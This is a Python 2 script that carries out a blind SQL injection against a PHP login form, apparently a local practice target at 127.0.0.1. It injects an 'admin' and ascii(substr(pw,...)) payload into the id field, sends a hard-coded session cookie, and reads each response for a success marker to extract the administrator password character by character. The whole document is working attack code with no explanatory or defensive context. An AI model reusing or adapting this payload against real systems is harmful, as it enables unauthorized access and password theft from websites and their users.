import httplib
import urllib
result=""
length=1
string="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"
for i in range(1,100):
    if(length<i):
        break
    else:
        for j in range(0,76):
            headers={'Cookie':'PHPSESSID=j57q0n53cl5qhi1dhg527pq7o5','Content-Type':'application/x-www-form-urlencoded'}
            params=urllib.urlencode({"id":"admin' and ascii(substr(pw,"+str(i)+",1))="+str(ord(string[j]))+"#","pw":"1"})
            conn=httplib.HTTPConnection('127.0.0.1')
            conn.request('POST','/pytest/login_ok.php',params,headers)
            data=conn.getresponse().read()
            if 'Hello' in data:
                result=result+string[j]
                print str(i)+' Password is '+string[j]
                print result
                length=length+1
                break
            print str(i)+' -> '+str(string[j])
print 'Password is '+result